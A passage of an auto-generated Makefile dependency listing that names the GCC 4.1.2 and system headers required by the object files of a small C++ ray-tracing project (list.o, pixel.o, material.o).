/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
vector.h
list.o: list.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
vector.h pixel.h light.h material.h object.h list.h
pixel.o: pixel.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
pixel.h
material.o: material.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
